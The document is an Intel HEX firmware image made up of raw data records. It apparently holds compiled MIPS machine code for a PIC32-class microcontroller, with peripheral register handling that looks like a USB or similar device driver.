:107af4001800c28f3400c38f2b10430008004010bd
:107b040000000000049d023cd05e44242013410f79
:107b14000000000021100000069f400b0000000040
:107b24002400c0a33000c28f1000c2af009f400bde
:107b340000000000049d023ce85e44241000c58f50
:107b44002013410f000000001400c0aff59e400b4d
:107b540000000000049d023c5c5e44241400c58fb8
:107b64002013410f000000001000c38fff03023cec
:107b7400ffff423421106200801902001400c28ffa
:107b8400c010020021186200079d023c03c0423469
:107b9400211062001c00c32721206000212840001e
:107ba40008000624494a410f000000001c00c227b7
:107bb400049d033c6c5c6424212840002013410f85
:107bc400000000001400c28f010042241400c2af60
:107bd4001400c28f08004228deff40140000000099
:107be400049d023cdc5544242013410f0000000096
:107bf4001000c28f010042241000c2af1000c38fd6
:107c04003400c28f2b104300caff40100000000054
:107c14000100022421e8c0032c00bf8f2800be8f7e
:107c24003000bd270800e00300000000f0ffbd277e
:107c34000c00beaf21f0a00388bf023c0002033c4d
:107c4400741043ac88bf023cff000324205243acb1
:107c540088bf023cff000324005243ac88bf023caf
:107c6400005340ac88bf023c105342240400c2af0e
:107c74000100c0a3289f400b000000000400c28f35
:107c8400000040ac0400c28f100042240400c2afc4
:107c94000100c293010042240100c2a30100c29367
:107ca4000300422cf5ff40140000000088bf023c92
:107cb400e05240ac88bf023c9f000324305243ace6
:107cc40088bf023c9f000324105243ac88bf023c8f
:107cd4007050428c0f00433088bf023c705043ac5c
:107ce40088bf023c7050438c88bf023c705043ac48
:107cf40088bf033c80506290010004240400827c0d
:107d0400805062a000a0023c001c422400e0427c9f
:107d1400021e020088bf023cd05243ac00a0023cc9
:107d2400001c422400e0427c021c020088bf023c8a
:107d3400c05243ac00a0023c001c422400e0427c40
:107d4400021a020088bf023c705243ac0000c0a378
:107d5400639f400b000000000000c39300a0023c9e
:107d6400c0180300001c42242110620021200000de
:107d740021280000000044ac040045ac0000c2937c
:107d8400010042240000c2a30000c2931000422c50
:107d9400f1ff40140000000088bf033c5052629081
:107da400010004244408827c505262a088bf023c33
:107db400605240ac88bf033c505262904429027c1c
:107dc400505262a088bf033c505262904408027c27
:107dd400505262a0869f400b0000000088bf023c06
:107de40008000324005243ac00a0023c801c42243f
:107df400040040a000a0023cd01c4224040040a087
:107e040000a0023cd01c43240400628c04ba027c0f
:107e1400040062ac88bf023c0052428c080042302d
:107e2400eeff40140000000001000224b88182af7c
:107e340001000224c08182aff08180aff48180af61
:107e4400d48180af0000c0a3ac9f400b00000000b1
:107e54000000c39300a0023c80180300101a4224bf
:107e640021106200000040ac0000c39300a0023c5b
:107e740080180300001a422421106200000040ac64
:107e84000000c3930882822721106200000040a0f2
:107e94000000c393d881822721106200000040a013
:107ea4000000c293010042240000c2a30000c29358
:107eb4000400422ce6ff40140000000000a0023c35
:107ec40000a0033c101c6324101a43ac88bf023c7e
:107ed4000d000324005343accc81822700e0437c93
:107ee40000a0023c001c4224040043ac00a0023c5d
:107ef400001c432402006294400004240448827c51
:107f0400020062a400a0023c84000324001c43a4d9
:107f1400bc8180a3f88180af21e8c0030c00be8f30
:107f24001000bd270800e0030000000000e85d41e8
:107f340000701b4002601a4080ffbd277c00bbaf6d
:107f440000601b407800baaf00681a407400bbaff1
:107f540082d21a00847a5b7f44201b7c00609b40a1
:107f64002400a3af2000a2af7800a38f0f006330da
:107f740012006014000000006400bfaf6000beafd8
:107f84005c00b9af5800b8af5400afaf5000aeaf0b
:107f94004c00adaf4800acaf4400abaf4000aaaf5b
:107fa4003c00a9af3800a8af3400a7af3000a6af9b
:107fb4002c00a5af2800a4af1c00a1af0000000056
:107fc400121000006c00a2af101800006800a3afec
:107fd40021f0a003f881838f0100022410006214b1
:107fe4000000000088bf023cff000324005243aca1
:107ff40088bf033c10526290010004240400827c78
:10800400105262a088bf033c105262900100042405
:108014000421827c105262a002000224f88182af03
:1080240088bf023c4050428c100042300b0040108c
:108034000000000088bf023c5050428c10004230c7
:10804400060040100000000088bf023c100003241a
:10805400405043ac2ea7400f0000000088bf023cf4
:108064008050428c020042300600401000000000a4
:10807400690004240d57410f00000000e1a0400beb
:108084000000000088bf023c0052428c01004230d4
:10809400100040100000000088bf023c1052428cc7
:1080a400010042300b004010000000000c9f400f04
:1080b4000000000088bf023c0002033c781043ac7f
:1080c40004000224f88182af88bf023c010003242b
:1080d400005243ac88bf023c0052428c1000423034
:1080e4000b0040100000000088bf023c1052428c7c
:1080f40010004230060040100000000015a7400f99
:108104000000000088bf023c10000324005243ac6e
:1081140088bf023c0052428c040042300e004010e2
:108124000000000088bf023c1052428c0400423020
:108134000600401000000000730004242128000001
:1081440001000624dd64400f0000000088bf023ceb
:1081540004000324005243ac88bf023c0052428c0a
:1081640080004230080040100000000088bf023c3c
:108174001052428c80004230030040100000000086
:10818400e0a6400f0000000088bf023c0052428c71
:1081940002004230120040100000000088bf023c80
:1081a4001052428c020042300d00401000000000ca
:1081b400ff7f023cffff4434212800000100062415
:1081c400dd64400f0000000088bf023cff00032470
:1081d400205243ac88bf023c02000324005243ac4b
:1081e400f881828f0400422c060040100000000039
:1081f400690004240d57410f00000000e1a0400b6a
:108204000000000088bf023c1052428c080042303b
:1082140058004010000000001000c0a3daa0400b7a
:108224000000000088bf023c0052428c080042302b
:10823400470040100000000088bf023c4052428cbe
:10824400ff004230c88182a3c881828f0019427c1a
:10825400ff004230ec8182a388bf023c0800032463
:10826400005243acc8818293ff0042300800423080
:10827400ff0042301500401400000000ec8182939e
:10828400ff0042302118400021204000d88182277d
:1082940021108200000042900000427cff00423026
:1082a40001004238ff00423001004230ff004430f8
:1082b400d881822721186200000062900400827c29
:1082c400000062a0c6a0400b00000000ec81829375
:1082d400ff004230211840002120400008828227fc
:1082e40021108200000042900000427cff004230d6
:1082f40001004238ff00423001004230ff004430a8
:108304000882822721186200000062900400827ca7
:10831400000062a0ec818293ff004230050040140b
:108324000000000045a7400f00000000d7a0400b4c
:108334000000000072000424c88185272130000059
:10834400dd64400f00000000d7a0400b00000000d7
:10835400dea0400b000000001000c2930100422484
:108364001000c2a31000c2930400422cadff4014bd
:1083740000000000690004240d57410f00000000b4
:1083840021e8c0036c00a28f130040006800a38f93
:10839400110060007800a28f0f00423014004014d6
:1083a400000000006400bf8f6000be8f5c00b98fc6
:1083b4005800b88f5400af8f5000ae8f4c00ad8f73
:1083c4004800ac8f4400ab8f4000aa8f3c00a98fbb
:1083d4003800a88f3400a78f3000a68f2c00a58ffb
:1083e4002800a48f2400a38f2000a28f1c00a18f3b
:1083f4000000000000606041c00000007c00ba8ff3
:108404007400bb8f00709a407800ba8f8000bd273b
:1084140002609a4000e8dd4100609b401800004281
:10842400e0ffbd271c00bfaf1800beaf21f0a003c2
:10843400211880002110a0002000c3a32400c2a39f
:108444002400c293080042300600401000000000df
:108454002000c2932120400021280000bba3400f2c
:10846400000000002400c2930400423006004010c3
:10847400000000002000c2932120400001000524d8
:10848400bba3400f000000002000c29300110200b3
:108494002118400088bf023c00534224211062008e
:1084a4001000c2af1000c28f2400c393000043a089
:1084b40021e8c0031c00bf8f1800be8f2000bd2719
:1084c4000800e00300000000f0ffbd270c00beaf71
:1084d40021f0a0032118a0001800c6af2110e0006d
:1084e4001000c4a31400c3a31c00c2a31400c293ad
:1084f4000a004010000000001000c39300a0023cda
:1085040080180300101a4224211062000000428cdb
:108514000000c2af4fa1400b000000001000c39345
:1085240000a0023c80180300001a422421106200bb
:108534000000428c0000c2af0000c28f040040144f
:108544000000000021100000baa1400b0000000050
:108554001800c28f00e0437c0000c28f070043a8cc
:10856400040043b81c00c293ff034230ffff4330b2
:108574000000c28fff006430020045900000a53067
:108584002520a400020044a0021a0300ffff633068
:10859400030063300300633003004590fcff0424b0
:1085a4002420a40025188300030043a00000c28fe8
:1085b40000004390ff00633001004290ff0042300e
:1085c4000012020025104300ffff423040004230f9
:1085d400ffff43300000c28fff006430000045906d
:1085e4000000a5302520a400000044a0021a0300c6
:1085f400ffff63300100449000008430251883009d
:10860400010043a00000c28f00004390ff006330cc
:1086140001004290ff004230001202002510430086
:10862400ffff423088004234ffff43300000c28f16
:10863400ff006430000045900000a5302520a40010
:10864400000044a0021a0300ffff633001004490bd
:108654000000843025188300010043a01400c29355
:1086640011004010000000001000c29380180200a6
:1086740000a0023c101a4224211062001000c3938f
:108684008020030000a0033c101a632421188300f7
:108694000000639008006338ff006330000043a0cb
:1086a400b9a1400b000000001000c2938018020022
:1086b40000a0023c001a4224211062001000c3935f
:1086c4008020030000a0033c001a632421188300c7
:1086d4000000639008006338ff006330000043a08b
:1086e4000000c28f21e8c0030c00be8f1000bd271c
:1086f4000800e00300000000f0ffbd270c00beaf3f
:1087040021f0a003211880002110a0001000c3a3b1
:108714001400c2a31000c2932600401400000000fd
:10872400dc81828f02004390000063304000633498
:10873400020043a003004490fcff03242418830098
:10874400030043a0dc81828fcc81832700e0637c1b
:10875400070043a8040043b8dc81828f00004390e3
:1087640000006330212060008cff0324251883005f
:10877400000043a00100439000006330010043a0c7
:1087840000a0023c101a428c0000439000006330a9
:108794002120600084ff032425188300000043a0e7
:1087a4000100439000006330010043a02ba2400b62
:1087b400000000001000c293401802001400c2938d
:1087c4002110620040100200c018020000a0023c08
:1087d400001c4224211062000000c2af0000c28fbe
:1087e4000000439001004290001202002510430053
:1087f400ffff423084004234ffff43300000c28f49
:10880400ff006430000045900000a5302520a4003e
:10881400000044a0021a0300ffff633001004490eb
:108824000000843025188300010043a01000c29387
:10883400401802001400c29321106200401002008c
:1088440001004224c018020000a0023c001c422483
:10885400211062000000c2af0000c28f00004390ec
:10886400010042900012020025104300ffff423035
:1088740084004234ffff43300000c28fff006430a5
:10888400000045900000a5302520a400000044a06d
:10889400021a0300ffff633001004490000084309b
:1088a40025188300010043a021e8c0030c00be8ffb
:1088b4001000bd270800e00300000000f8ffbd27fa
:1088c4000400beaf21f0a003211080000800c2a361
:1088d40088bf023c5052428c200042307f0040103e
:1088e400000000000800c39300a0023c80180300ad
:1088f400101a4224211062000000428c0800c49324
:1089040000a0033c80200400101a63242118830073
:108914000000638c03006a882120400100006498f1
:1089240007006a88212840010400659840008830c7
:108934000000a930030048a8000048b8070049a86f
:10894400040049b80800c39300a0023c8018030047
:10895400101a4224211062000000428c0800c493c3
:1089640000a0033c80200400101a63242118830013
:108974000000638c030068882120000100006498d3
:1089840007006888212800010400659840008638a3
:108994000000a738030046a8000046b8070047a80f
:1089a400040047b80800c2938018020000a0023ceb
:1089b400101a4224211062000800c393802003008f
:1089c40000a0033c101a6324211883000000639064
:1089d40008006338ff006330000043a00800c3931d
:1089e40000a0023c80180300101a422421106200e7
:1089f4000000428c0800c49300a0033c80200400c3
:108a0400101a6324211883000000638c0000649012
:108a1400ff00843001006390ff006330001a0300fc
:108a240025186400ffff633040006330ffff6330ac
:108a3400ff006430000045900000a5302520a4000c
:108a4400000044a0021a0300ffff633001004490b9
:108a54000000843025188300010043a00800c3935c
:108a640000a0023c80180300101a42242110620066
:108a74000000428c0800c49300a0033c8020040042
:108a8400101a6324211883000000638c0000649092
:108a9400ff00843001006390ff006330001a03007c
:108aa40025186400ffff633040006338ffff633024
:108ab400ff006430000045900000a5302520a4008c
:108ac400000044a0021a0300ffff63300100449039
:108ad4000000843025188300010043a021e8c0036e
:108ae4000400be8f0800bd270800e003000000005a
:108af400f8ffbd270400beaf21f0a00388bf023ced
:108b0400505240ac88bf023c105240acf88180af58
:108b14000000000021e8c0030400be8f0800bd2748
:108b24000800e00300000000e8ffbd271400bfaf09
:108b34001000beaf21f0a003f881828f31004014f1
:108b44000000000088bf023c505240ac88bf023c89
:108b5400105240ac88bf023ce05240ac88bf023c9b
:108b64009f000324305243ac88bf023c9f0003247f
:108b7400105243ac88bf023c7050428c0f0043300b
:108b840088bf023c705043ac88bf023c7050438c99
:108b940088bf023c705043ac88bf023c0002033cd7
:108ba400781043ac88bf023c00ff0334441143ac4b
:108bb40088bf023c00100324481143acf456410f13
:108bc40000000000ed57410f00000000fba2400b25
:108bd4000000000088bf033c50526290010004244e
:108be4000400827c505262a088bf023c5052428ce6
:108bf40001004230f7ff4010000000000100022491
:108c0400f88182af21e8c0031400bf8f1000be8f2b
:108c14001800bd270800e00300000000f8ffbd278e
:108c24000400beaf21f0a003b881828f5b00401422
:108c34000000000001000224b88182afc081828f4d
:108c4400560040140000000001000224c08182afdd
:108c5400e0818293ff004330020002241700621473
:108c64000000000000a0023c101a428c0200439055
:108c740000006330020043a003004490fcff03247f
:108c840024188300030043a000a0023c101a428c65
:108c9400000043900000633021206000c8ff0324db
:108ca40025188300000043a00100439000006330b6
:108cb400010043a068a3400b00000000e081829300
:108cc400ff0043300100022434006214000000005d
:108cd400b08180afe481828f020043900000633052
:108ce40040006334020043a003004490fcff0324cb
:108cf40024188300030043a0e481828fcc8183275e
:108d040000e0637c070043a8040043b8e481828f39
:108d140000004390000063302120600084ff03249e
:108d240025188300000043a0010043900000633035
:108d3400010043a001000224b08182afdc81828f54
:108d4400020043900000633040006334020043a0fb
:108d540003004490fcff032424188300030043a071
:108d6400dc81828fcc81832700e0637c070043a8e9
:108d7400040043b8dc81828f00004390000063301c
:108d84002120600080ff032425188300000043a0f5
:108d94000100439000006330010043a021e8c003b8
:108da4000400be8f0800bd270800e0030000000097
:108db400e8ffbd271400bfaf1000beaf21f0a00331
:108dc400f08180aff48180afe0818293ff00433073
:108dd400020002241c00621400000000dc81828f67
:108de400020043900000633040006334020043a05b
:108df40003004490fcff032424188300030043a0d1
:108e0400dc81828f00a0033c901c632400e0637c1f
:108e1400070043a8040043b8dc81828f000043901c
:108e24000000633021206000c8ff0324251883005c
:108e3400000043a00100439000006330010043a000
:108e4400b5a3400b00000000d2818297ffff43309e
:108e540000a0023c801c422408004294ffff4230e0
:108e64002b1062000600401000000000d28182979f
:108e7400ffff433000a0023c801c4224080043a4ae
:108e840078a4400f0000000000a0023c101a428c9d
:108e940000a0033c901c632400e0637c070043a80b
:108ea400040043b800a0023c101a428c0000439016
:108eb4000000633021206000c8ff032425188300cc
:108ec400000043a00100439000006330010043a070
:108ed40021e8c0031400bf8f1000be8f1800bd2707
:108ee4000800e00300000000f0ffbd270c00beaf47
:108ef40021f0a003211880002110a0001000c3a3ba
:108f04001400c2a300a0023c001c42240000c2af13
:108f14001000c293401802001400c2932110620092
:108f2400001102000000c38f211062000000c2afd4
:108f34000000c38f00006290c439027c000062a06c
:108f44001400c2930a004014000000001000c393f0
:108f540000a0023c80180300001a42242110620081
:108f64000000c38f000043ace4a3400b00000000ea
:108f74001000c39300a0023c80180300101a42247e
:108f8400211062000000c38f000043ac0000c38fb7
:108f9400000062908431027c000062a00000c28f55
:108fa4000800432400006290010004248431827c80
:108fb400000062a021e8c0030c00be8f1000bd2792
:108fc4000800e00300000000e8ffbd271400bfaf65
:108fd4001000beaf21f0a00388bf033c5052629042
:108fe4004429027c505262a000a0023c801c42240e
:108ff4000400428c800042303a004014000000001b
:1090040000a0023cd01c422404004290ff004330e4
:1090140080ff022424106200ff0042300c00401044
:109024000000000002000224e08182a3f481828f08
:1090340003004014000000006da3400f0000000076
:10904400c08180afb88180af72a4400b00000000e3
:10905400dc81828f0200439000006330400063345f
:10906400020043a003004490fcff0324241883005f
:10907400030043a0dc81828fcc81832700e0637ce2
:10908400070043a8040043b8dc81828f00004390aa
:1090940000006330212060008cff03242518830026
:1090a400000043a00100439000006330010043a08e
:1090b40000a0023c101a428c000043900000633070
:1090c4002120600084ff032425188300000043a0ae
:1090d4000100439000006330010043a072a4400be0
:1090e40000000000cc818293ff00433080ff022403
:1090f40024106200ff004230110040100000000004
:1091040001000224e08182a3f081828f03004014d5
:10911400000000006da3400f00000000c08180af7c
:10912400b88180afb481828f260040140000000013
:1091340008a3400f0000000072a4400b00000000d0
:1091440002000224e08182a3dc81828f020043902a
:109154000000633040006334020043a003004490e5
:10916400fcff032424188300030043a0dc81828fc6
:10917400cc81832700e0637c070043a8040043b844
:10918400dc81828f00004390000063302120600066
:1091940084ff032425188300000043a001004390aa
:1091a40000006330010043a0c08180afb88180af6c
:1091b400b481828f030040140000000008a3400f14
:1091c4000000000021e8c0031400bf8f1000be8f10
:1091d4001800bd270800e00300000000f0ffbd27d1
:1091e4000c00beaf21f0a003400002240000c2a383
:1091f40000a0023c801c422408004294ffff42303d
:109204004000422c150040100000000000a0023c69
:10921400801c422408004294ffff42300000c2a395
:10922400c4818293ff004230050040140000000016
:1092340001000224c48182a398a4400b0000000012
:10924400c4818293ff0043300100022403006214ae
:109254000000000002000224c48182a300a0023c9a
:10926400801c422408004294ffff43300000c29354
:10927400ffff423023106200ffff433000a0023c96
:10928400801c4224080043a400a0023c101a428c13
:109294000000c393ff036330ffff6330ff006430bb
:1092a400020045900000a5302520a400020044a03f
:1092b400021a0300ffff63300300633003006330ce
:1092c40003004590fcff04242420a40025188300f7
:1092d400030043a000a0023c901c4224e88182af1a
:1092e40000a0023c801c42240400428c0100423055
:1092f4001500401400000000cea4400b0000000044
:10930400e881828f01004324e88183af00a0033cfd
:10931400801c638c0100652400a0043c801c85ac87
:1093240000006390000043a00000c293ffff4224aa
:109334000000c2a30000c293f1ff4014000000002b
:10934400e5a4400b00000000e2a4400b0000000074
:10935400e881828f01004324e88183af00a0033cad
:10936400801c638c0100652400a0043c801c85ac37
:1093740000006390000043a00000c293ffff42245a
:109384000000c2a30000c293f1ff401400000000db
:1093940021e8c0030c00be8f1000bd270800e003c5
:1093a40000000000e0ffbd271c00bfaf1800beafe7
:1093b40021f0a003e481828f02004390ff00633018
:1093c40003004290ff0042300300423000120200ca
:1093d40025104300ffff42301000c2a31000c293c7
:1093e400ffff433000a0023cd01c42240400428c06
:1093f400007a427cffff42302b10430007004010ec
:109404000000000000a0023cd01c42240400428c56
:10941400007a427cffff42301000c2a300a0023c4d
:10942400d01c42240400428c007a427cffff43306b
:109434001000c293ffff423023106200ffff44304c
:1094440000a0023cd01c43240400628c04ba827c39
:10945400040062ac1100c0a328a5400b000000006a
:1094640000a0023cd01c428c0100442400a0033c18
:10947400d01c64ac1100c49300a0033c901c632472
:109484002118830000006390ff006330000043a0b4
:109494001100c293010042241100c2a31100c3931e
:1094a4001000c2932b106200edff40140000000076
:1094b40000a0023cd01c42240400428c007a427c6e
:1094c400ffff42302f00401000000000dc81828f3b
:1094d400020043900000633040006334020043a064
:1094e40003004490fcff032424188300030043a0da
:1094f400dc81828f00a0033c901c632400e0637c29
:10950400070043a8040043b8e481828f000042901e
:10951400ff00423040004230ff0042300d00401452
:1095240000000000dc81828f000043900000633063
:1095340021206000c8ff032425188300000043a0f5
:109544000100439000006330010043a094a5400b48
:1095540000000000dc81828f000043900000633033
:109564002120600088ff032425188300000043a005
:109574000100439000006330010043a094a5400b18
:1095840000000000dc81828f020043900000633001
:1095940040006334020043a003004490fcff032412
:1095a40024188300030043a0dc81828fcc818327ad
:1095b40000e0637c070043a8040043b8dc81828f89
:1095c40000004390000063302120600084ff0324e6
:1095d40025188300000043a001004390000063307d
:1095e400010043a000a0023cd01c42240a0043888e
:1095f40021206000070044982110800009004010d9
:109604000000000000a0023cd01c42240a00438851
:1096140021206000070044982110800009f84000d0
:109624000000000000a0023cd01c4324040062900f
:10963400c439027c040062a0b481828f0300401408
:109644000000000008a3400f0000000021e8c00350
:109654001c00bf8f1800be8f2000bd270800e00348
:1096640000000000e0ffbd271c00bfaf1800beaf24
:1096740021f0a00300a0023c801c4324040062905b
:1096840001000424c439827c040062a088bf023c27
:10969400105342241400c2af1100c0a3b2a5400b62
:1096a400000000001400c28f000040ac1400c28f00
:1096b400100042241400c2af1100c29301004224de
:1096c4001100c2a31100c2930300422cf5ff401401
:1096d4000000000000a0023c001c442421280000db
:1096e400800006246551410f0000000088bf033c40
:1096f40050526290010004244408827c505262a0bb
:109704001000c0a3cfa5400b000000001000c393bd
:109714000882822721106200000040a01000c39339
:10972400d881822721106200000040a01000c2935b
:10973400010042241000c2a31000c2930400422c72
:10974400f2ff401400000000048284272128000056
:10975400010006246551410f0000000088bf033c4e
:10976400505262904408027c505262a000a0023c15
:1097740000a0033c101c6324101a43ac00a0023c5c
:10978400001c4224e48182afe481828fdc8182afb9
:10979400ce818293ff004230bc8182a3bc8182933c
:1097a400ff004230050040140000000010000224b5
:1097b400f88182aff7a5400b0000000001000424eb
:1097c400bc81852701000624dd64400f00000000f1
:1097d40020000224f88182af21e8c0031c00bf8f5f
:1097e4001800be8f2000bd270800e0030000000021
:1097f400f8ffbd270400beaf21f0a003cc81829303
:10980400ff00433080000224510062140000000075
:1098140000a0023c801c4224c0ff0324040043a097
:10982400cf818293ff0042300200032411004310d1
:109834000000000003000324250043100000000082
:10984400010003243e0043140000000000a0023c79
:10985400059d033c145f6324801c43ac00a0023cc0
:10986400801c422412000324080043a455a6400b84
:1098740000000000ce818293ff0042308018020075
:10988400059d023cd45f4224211062000000438cf9
:1098940000a0023c801c43ac00a0023c801c428c13
:1098a4000200439000a0023c801c4224080043a014
:1098b40000a0023c801c428c0300439000a0023ca8
:1098c400801c4224090043a055a6400b0000000060
:1098d400ce818293ff0042300400422c13004010da
:1098e40000000000ce818293ff0042308018020005
:1098f400059d023c505f4224211062000000438c0d
:1099040000a0023c801c43ac00a0023c801c428ca2
:10991400000042902118400000a0023c801c422418
:10992400080043a455a6400b0000000000a0023c20
:10993400801c4224040040a055a6400b00000000f7
:1099440000a0023c801c4224040040a0000000004f
:1099540021e8c0030400be8f0800bd270800e0030f
:1099640000000000f0ffbd270c00beaf21f0a003f3
:1099740000a0023c901c40a000a0023c901c422489
:10998400010040a0cc81828f0020427cff00423045
:1099940001000324220043100000000002000324fd
:1099a40027004310000000005b004014000000008a
:1099b40000a0023c801c43240400629001000424a3
:1099c400c439827c040062a000a0023c901c429036
:1099d400ff00423001004234ff00433000a0023c4b
:1099e400901c43a00082838f010002240a006214a9
:1099f4000000000000a0023c901c4290ff00423096
:109a040002004234ff00433000a0023c901c43a0fb
:109a1400c7a6400b00000000c7a6400b00000000d2
:109a240000a0023c801c4324040062900100042432
:109a3400c439827c040062a0c7a6400b0000000069
:109a440000a0023c801c4324040062900100042412
:109a5400c439827c040062a0d0818293ff00433029
:109a640080ff022424106200ff0042300d004014e5
:109a740000000000d081828f0018427cff00423039
:109a84002118400000a0023c80180300001a422460
:109a9400211062000000428c0000c2afb4a6400b4b
:109aa40000000000d081828f0018427cff00423009
:109ab4002118400000a0023c80180300101a422420
:109ac400211062000000428c0000c2af0000c28f6f
:109ad4000000439080ff022424106200ff00423003
:109ae4000c004010000000000000c28f00004290f3
:109af40004004230ff004230060040100000000025
:109b040000a0023c01000324901c43a0c6a6400b05
:109b1400000000000000000000a0023c801c422461
:109b24000400428c800042300f004010000000000e
:109b340000a0023c00a0033c901c6324801c43aca6
:109b440000a0023c801c4324040062900100042411
:109b54000400827c040062a000a0023c801c422419
:109b640002000324080043a021e8c0030c00be8fb8
:109b74001000bd270800e00300000000f8ffbd2727
:109b84000400beaf21f0a00388bf023c0053428c06
:109b9400020042302600401000000000e481828f61
:109ba40000004390ff00633001004290ff00423008
:109bb4000012020025104300ffff433080000224fe
:109bc400170062140000000000a0023c101a428c2e
:109bd40000004390ff00633001004290ff004230d8
:109be4000012020025104300ffff433084000224ca
:109bf4000b00621400000000e481828f0000439097
:109c040000006330212060008cff032425188300aa
:109c1400000043a00100439000006330010043a012
:109c240088bf033c005362904408027c005362a046
:109c340088bf023c80000324005243ac21e8c003e7
:109c44000400be8f0800bd270800e00300000000e8
:109c5400e8ffbd271400bfaf1000beaf21f0a00382
:109c640088bf033c50506290010004240421827c8c
:109c7400505062a088bf023c10000324005243ac41
:109c840001000224d48182af75000424212800003d
:109c940021300000dd64400f0000000021e8c00313
:109ca4001400bf8f1000be8f1800bd270800e0030a
:109cb40000000000e8ffbd271400bfaf1000beafd6
:109cc40021f0a003d48180af740004242128000073
:109cd40021300000dd64400f0000000088bf033c19
:109ce400505062900421027c505062a088bf023c14
:109cf40010000324405043ac21e8c0031400bf8f7c
:109d04001000be8f1800bd270800e003000000000b
:109d1400e0ffbd271c00bfaf1800beaf21f0a003b9
:109d2400c8818293ff00423021184000fbff0224c7
:109d3400241062004100401400000000c881829396
:109d4400ff00423082100200ff004230c0180200bf
:109d540000a0023c001c422421106200e48182af76
:109d6400e481828fdc8182afdc818227dc818327de
:109d74000000639008006338ff006330000043a0d4
:109d8400e481828f00004290ff0042303c00423068
:109d9400ff00433034000224240062140000000059
:109da4001000c0a37fa7400b000000001000c39365
:109db400cc81822721186200e481828f07004488c5
:109dc4000400449800a0023c251082000000429048
:109dd400000062a0e481828f070043880400439856
:109de40001006324070043a8040043b81000c29391
:109df400010042241000c2a31000c2930800422ca8
:109e0400eaff401400000000e481828fcc818327a4
:109e140000e0637c070043a8040043b8a0a7400ff8
:109e2400000000009aa7400b0000000020a8400f8b
:109e3400000000009aa7400b00000000c881829334
:109e4400ff00423021184000fbff02242418620066
:109e540008000224030062140000000052a8400f0e
:109e64000000000021e8c0031c00bf8f1800be8f53
:109e74002000bd270800e00300000000e8ffbd2724
:109e84001400bfaf1000beaf21f0a003c48180a3b3
:109e9400b48180aff08180aff48180afb08180afb6
:109ea400e08180a300a0023c101a428c00a0033c75
:109eb400101a638c00006490ff00843001006390ea
:109ec400ff006330001a030025186400ffff6430ac
:109ed4007fff032424188300ffff6330ff006430f6
:109ee400000045900000a5302520a400000044a0f7
:109ef400021a0300ffff6330010044900000843025
:109f040025188300010043a000a0023c101a42243b
:109f140000a0033c101a6324000063900800633817
:109f2400ff006330000043a000a0023c101a428ce2
:109f340000a0033c101a638c00006490ff0084307e
:109f440001006390ff006330001a030025186400c9
:109f5400ffff64307fff032424188300ffff633076
:109f6400ff006430000045900000a5302520a400c7
:109f7400000044a0021a0300ffff63300100449074
:109f84000000843025188300010043a000a0023c97
:109f9400101a422400a0033c101a632400006390aa
:109fa40008006338ff006330000043a0dc81828f27
:109fb400dc81838f00006490ff0084300100639093
:109fc400ff006330001a030025186400ffff6430ab
:109fd4007fff032424188300ffff6330ff006430f5
:109fe400000045900000a5302520a400000044a0f6
:109ff400021a0300ffff6330010044900000843024
:10a0040025188300010043a000a0023c801c4224c8
:10a01400040040a000a0023c801c4224080040a48c
:10a0240000a0023cd01c4224040040a000a0023c3a
:10a03400d01c43240400628c04ba027c040062ac89
:10a04400d9a8400f000000000300042421280000c8
:10a0540021300000dd64400f00000000f3a3400f36
:10a064000000000021e8c0031400bf8f1000be8f61
:10a074001800bd270800e00300000000e8ffbd272a
:10a084001400bfaf1000beaf21f0a003e0818293a3
:10a09400ff004330020002240500621400000000a7
:10a0a400eaa4400f000000004ca8400b0000000090
:10a0b400e08180a3b081828f1b0040140000000067
:10a0c400dc81828f020043900000633040006334df
:10a0d400020043a003004490fcff032424188300df
:10a0e400030043a0dc81828fcc81832700e0637c62
:10a0f400070043a8040043b8dc81828f000043902a
:10a1040000006330212060008cff032425188300a5
:10a11400000043a00100439000006330010043a00d
:10a124004ca8400b00000000b08180af21e8c003c0
:10a134001400bf8f1000be8f1800bd270800e00375
:10a1440000000000e0ffbd271c00bfaf1800beaf39
:10a1540021f0a00300a0023c101a428c000042909f
:10a164008001427cff0042301000c2a300a0023ce8
:10a17400101a422400a0033c101a632400006390c8
:10a1840008006338ff006330000043a0f881838f28
:10a19400080002241000621400000000ce818293a3
:10a1a400ff0042302118400088bf023c605243ac9b
:10a1b40088bf023c6052428c050040100000000041
:10a1c40010000224f88182af77a8400b0000000041
:10a1d40004000224f88182afe0818293ff004330bf
:10a1e40001000224390062140000000000a0023cb7
:10a1f400101a428c00a0033c901c632400e0637c92
:10a20400070043a8040043b878a4400f00000000ee
:10a21400c4818293ff004330020002240e006214c2
:10a224000000000000a0023c101a428c0000439081
:10a23400000063302120600084ff0324251883007c
:10a24400000043a00100439000006330010043a0dc
:10a25400d3a8400b000000001000c2930e0040146d
:10a264000000000000a0023c101a428c0000439041
:10a274000000633021206000c8ff032425188300f8
:10a28400000043a00100439000006330010043a09c
:10a29400d3a8400b0000000000a0023c101a428c1e
:10a2a40000004390000063302120600088ff0324f5
:10a2b40025188300000043a0010043900000633090
:10a2c400010043a0d3a8400b0000000000a0023c02
:10a2d400d01c422404004290ff00433080ff02243b
:10a2e40024106200ff0042301600401000000000fd
:10a2f40000a0023cd01c42240a00438821206000b4
:10a30400070044982110800009004010000000005c
:10a3140000a0023cd01c42240a0043882120600093
:10a32400070044982110800009f840000000000054
:10a3340000a0023cd01c432404006290c439027c77
:10a34400040062a0e08180a321e8c0031c00bf8f49
:10a354001800be8f2000bd270800e00300000000a5
:10a36400e8ffbd271400bfaf1000beaf21f0a0036b
:10a37400cc818293ff00423060004230ff004230c3
:10a3840003004010000000005da9400b0000000025
:10a39400cd818293ff0042300c00432c7300601087
:10a3a4000000000080180200039d023cc4a3422464
:10a3b400211062000000428c0800400000000000f0
:10a3c40090a4029da0a4029d70a5029da0a4029d3c
:10a3d40070a5029df4a3029d1ca4029d54a5029d98
:10a3e4003ca4029d2ca4029db0a4029d14a5029d30
:10a3f40000a0023c801c4324040062900100042459
:10a40400c439827c040062a008000224f88182af6f
:10a414005da9400b00000000fda5400f00000000f6
:10a424005da9400b000000009aa5400f0000000049
:10a434005da9400b0000000000a0023cbc81832702
:10a44400801c43ac00a0023c801c432404006290a6
:10a45400010004240400827c040062a000a0023ce9
:10a46400801c422401000324080043a000a0023cf5
:10a47400801c43240400629001000424c439827cbb
:10a48400040062a05da9400b000000005aa6400f22
:10a49400000000005da9400b0000000063a9400f0c
:10a4a400000000005da9400b00000000d0818293f1
:10a4b400ff004230211840000482822721186200e4
:10a4c40000a0023c801c43ac00a0023c801c43243e
:10a4d40004006290010004240400827c040062a051
:10a4e40000a0023c801c422401000324080043a075
